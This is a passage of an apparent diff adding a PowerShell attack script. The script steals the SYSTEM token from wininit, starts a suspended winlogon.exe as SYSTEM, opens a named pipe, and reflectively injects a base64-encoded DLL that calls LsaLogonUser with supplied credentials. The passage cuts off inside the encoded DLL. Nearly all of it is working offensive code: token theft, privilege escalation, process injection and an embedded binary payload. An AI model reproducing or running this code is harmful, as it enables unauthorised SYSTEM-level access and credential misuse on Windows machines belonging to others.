[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + + $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken + $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) + + $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW + $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + + $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx + $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) + + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer + $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) + + $GetProcessIdAddr = Get-ProcAddress Kernel32.dll GetProcessId + $GetProcessIdDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $GetProcessId = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcessIdAddr, $GetProcessIdDelegate) + ############################### + + + #Get the primary token for the specified processId + #This function is taken from my script Invoke-TokenManipulation + function Get-PrimaryToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ProcessId, + + #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. + [Parameter()] + [Switch] + $FullPrivs + ) + + if ($FullPrivs) + { + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + } + else + { + $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY + } + + $ReturnStruct = New-Object PSObject + + $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess + if ($hProcess -eq [IntPtr]::Zero) + { + #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." + return $null + } + else + { + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) + + #Close the handle to hProcess (the process handle) + if (-not $CloseHandle.Invoke($hProcess)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hProcess = [IntPtr]::Zero + + if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" + return $null + } + else + { + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken + } + } + + return $ReturnStruct + } + + + #A modified version of this function from my script Invoke-TokenManipulation + #Creates the process suspended. Returns the ProcessID of the created process + function Create-SuspendedWinLogon + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken #The token to create the process with + ) + + $ProcessId = -1 + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) + [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) + $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct + + $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) + [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) + + $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$($env:windir)\system32\winlogon.exe") + + $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, [IntPtr]::Zero, $Win32Constants.CREATE_SUSPENDED, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + if ($Success) + { + #Free the handles returned in the ProcessInfo structure + $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) + + $ProcessId = $GetProcessId.Invoke($ProcessInfo.hProcess) + + $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null + $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CreateProcessWithTokenW failed. Error code: $ErrorCode" + } + + #Free StartupInfo memory and ProcessInfo memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) + $StartupInfoPtr = [Intptr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) + $ProcessInfoPtr = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) + $ProcessNamePtr = [IntPtr]::Zero + + #Close handle for the token duplicated with DuplicateTokenEx + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + + return $ProcessId + } + } + + + #Get the SYSTEM token and create a winlogon process with it, returns the process ID of the new WinLogon process + function Create-WinLogonProcess + { + if ([Environment]::UserName -ine "SYSTEM") + { + #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. + $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id + if ($systemTokenInfo -eq $null -or $SystemTokenInfo.hProcToken -eq [IntPtr]::Zero) + { + Write-Warning "Unable to get SYSTEM token" + } + else + { + $ProcessId = Create-SuspendedWinLogon -hToken $SystemTokenInfo.hProcToken + if ($ProcessId -eq -1) + { + Throw "Unable to create suspended WinLogon process" + } + + Write-Verbose "Created suspended winlogon process. ProcessId: $ProcessId" + return $ProcessId + } + } + } + + + #Set up a named pipe to communicate with the injected DLL + function Create-NamedPipe + { + $PipeSecurity = new-object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "NT AUTHORITY\SYSTEM", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe=new-object System.IO.Pipes.NamedPipeServerStream("sqsvc","InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + + return $Pipe + } + + + #Determine the parameterset being used to figure out if a new winlogon process needs to be created or not + if ($PsCmdlet.ParameterSetName -ieq "NewWinLogon") + { + #Start winlogon.exe as SYSTEM + $WinLogonProcessId = Create-WinLogonProcess + Write-Output "Created winlogon process to call LsaLogonUser in. Kill ProcessID $WinLogonProcessId when done impersonating." + Write-Output "Execute: Stop-Process $WinLogonProcessId -force" + } + elseif ($PsCmdlet.ParameterSetName -ieq "ExistingWinLogon") + { + $WinLogonProcessId = (Get-Process -Name "winlogon")[0].Id + } + + #Get a ushort representing the logontype + [Byte]$LogonTypeNum = 0x0 + switch ($LogonType) + { + "Interactive" {$LogonTypeNum = 2} + "NetworkCleartext" {$LogonTypeNum = 8} + "RemoteInteractive" {$LogonTypeNum = 10} + } + + $AuthPackageNum = 0 + #Get a ushort representing the authentication package to use + switch ($AuthPackage) + { + "Msv1_0" {$AuthPackageNum = 1} + "Kerberos" {$AuthPackageNum = 2} + } + + + #Main + try + { + $Pipe = Create-NamedPipe + + #Reflectively inject a DLL in to the new winlogon process which will receive credentials and call LsaLogonUser from within winlogon.exe + $Logon32Bit_Base64 = "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